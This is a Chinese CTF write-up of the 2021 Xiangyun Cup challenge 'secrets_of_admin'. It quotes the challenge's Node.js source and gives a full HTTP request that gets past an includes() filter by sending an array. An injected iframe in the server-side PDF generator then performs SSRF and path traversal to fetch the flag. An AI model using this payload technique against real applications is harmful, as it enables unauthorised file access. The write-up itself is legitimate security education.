[2021祥云杯]secrets_of_admin
解题步骤
学弟做出来的,来自学弟的wp
app.ts中发现有这么一行:
app.use(bodyParser.urlencoded({extended: true}));
这表示提交的参数可以被当作一个Object而不是String
向/admin提交POST请求尝试触发SSRF,由于过滤了字符串,因此需要提交数组,绕过includes检测POST /admin HTTP/1.1 Host: xxxxxxxx Cookie: xxxxxxxx Content-Type: application/x-www-form-urlencoded Content-Length: 256 content%5B0%5D=%3C%2Fh3%3E%3Ciframe%20src%3D%22http%3A%2F%2F127.0.0.1%3A8888%2Fapi%2Ffiles%3Fusername%3Dadmin%26filename%3D..%2Ffiles%2Fflag%26checksum%3Dbe5a14a8e504a66979f6938338b0662c%22%20height%3D%22250%22%20width%3D%22300%22%3E%3C%2Fiframe%3E%3Ch3%3E
提交了一个表单表单的 key 是 content[0] 内容是:
</h3><iframe src="http://127.0.0.1:8888/api/files?username=admin&filename=../files/flag&checksum=be5a14a8e504a66979f6938338b0662c" height="250" width="300"></iframe><h3>
然后访问/api/files/be5a14a8e504a66979f6938338b0662c即可下载flag
在database.ts里面有admin密码
INSERT INTO users (id, username, password) VALUES (1, 'admin','e365655e013ce7fdbdbf8f27b418c8fe6dc9354dc4c0328fa02b0ea547659645');
admin登录后,就进入/admin
router.post('/admin', checkAuth, (req, res, next) => {
let { content } = req.body;
if ( content == '' || content.includes('<') || content.includes('>') || content.includes('/') || content.includes('script') || content.includes('on')){
// even admin can't be trusted right ? :)
return res.render('admin', { error: 'Forbidden word 🤬'});
} else {
let template = `
<html>
<meta charset="utf8">
<title>Create your own pdfs</title>
<body>
<h3>${content}</h3>
</body>
</html>
`
try {
const filename = `${uuid()}.pdf`
pdf.create(template, {
"format": "Letter",
"orientation": "portrait",
"border": "0",
"type": "pdf",
"renderDelay": 3000,
"timeout": 5000
}).toFile(`./files/${filename}`, async (err, _) => {
if (err) next(createError(500));
const checksum = await getCheckSum(filename);
await DB.Create('superuser', filename, checksum)
return res.render('admin', { message : `Your pdf is successfully saved 🤑 You know how to download it right?`});
});
} catch (err) {
return res.render('admin', { error : 'Failed to generate pdf 😥'})
}
}
});
// You can also add file logs here!
router.get('/api/files', async (req, res, next) => {
if (req.socket.remoteAddress.replace(/^.*:/, '') != '127.0.0.1') {
return next(createError(401));
}
let { username , filename, checksum } = req.query;
if (typeof(username) == "string" && typeof(filename) == "string" && typeof(checksum) == "string") {
try {
await DB.Create(username, filename, checksum)
return res.send('Done')
} catch (err) {
return res.send('Error!')
}
} else {
return res.send('Parameters error')
}
});
像上面的wp一样,绕过include检测,插入js代码。然后数据库里面会有文件名和checksum记录。
到/api/files里面需要本地才能查看文件,而且文件用checksum检索。
所以直接插入上面的payload进行ssrf。